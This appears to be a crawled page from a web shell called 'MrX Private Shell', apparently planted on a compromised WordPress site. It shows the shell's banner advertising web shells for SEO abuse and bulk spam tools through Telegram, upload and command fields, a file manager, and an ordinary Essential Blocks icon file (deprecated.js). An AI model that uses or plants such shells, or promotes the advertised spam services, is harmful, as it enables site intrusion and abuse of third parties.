__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
/**
 * WordPress dependencies
 */
import { useBlockProps } from "@wordpress/block-editor";
import {
EBDisplayIcon
} from "@essential-blocks/controls";
import attributes from "./attributes";

const deprecated = [
    {
        attributes: { ...attributes },
        supports: {
            align: ["full"],
        },
        save: ({ attributes }) => {
            const { blockId, icon, iconView, iconShape, classHook } = attributes;
            const viewClass = iconView !== "default" ? " eb-icon-view-" + iconView : "";
            const shapeClass = iconView !== "default" ? " eb-icon-shape-" + iconShape : "";

            return (
                <div {...useBlockProps.save()}>
                    <div
                        className={`eb-parent-wrapper eb-parent-${blockId} ${classHook}`}
                    >
                        <div
                            className={`eb-icon-wrapper ${blockId}${` eb-icon-view-${iconView}`}${shapeClass}`}
                            data-id={blockId}
                        >
                            <div className="eb-icon-container">
                                <EBDisplayIcon icon={icon} />
                            </div>
                        </div>
                    </div>
                </div>
            );
        },
    },
    {
        attributes: { ...attributes },
        supports: {
            align: ["full"],
        },
        save: ({ attributes }) => {
            const { blockId, icon, iconView, iconShape, classHook } = attributes;
            const viewClass = iconView !== "default" ? " eb-icon-view-" + iconView : "";
            const shapeClass = iconView !== "default" ? " eb-icon-shape-" + iconShape : "";

            return (
                <div {...useBlockProps.save()}>
                    <div
                        className={`eb-parent-wrapper eb-parent-${blockId} ${classHook}`}
                    >
                        <div
                            className={`eb-icon-wrapper ${blockId}${` eb-icon-view-${iconView}`}${shapeClass}`}
                            data-id={blockId}
                        >
                            <div className="eb-icon-container">
                                <i className={icon}></i>
                            </div>
                        </div>
                    </div>
                </div>
            );
        },
    },
];

export default deprecated;

Filemanager

Name Type Size Permission Actions
constants Folder 0750
attributes.js File 2.72 KB 0640
deprecated.js File 2.38 KB 0640
edit.js File 1.89 KB 0640
example.js File 65 B 0640
icon.svg File 2.36 KB 0640
index.js File 644 B 0640
inspector.js File 7.59 KB 0640
save.js File 950 B 0640
style.js File 7.58 KB 0640
style.scss File 904 B 0640
Filemanager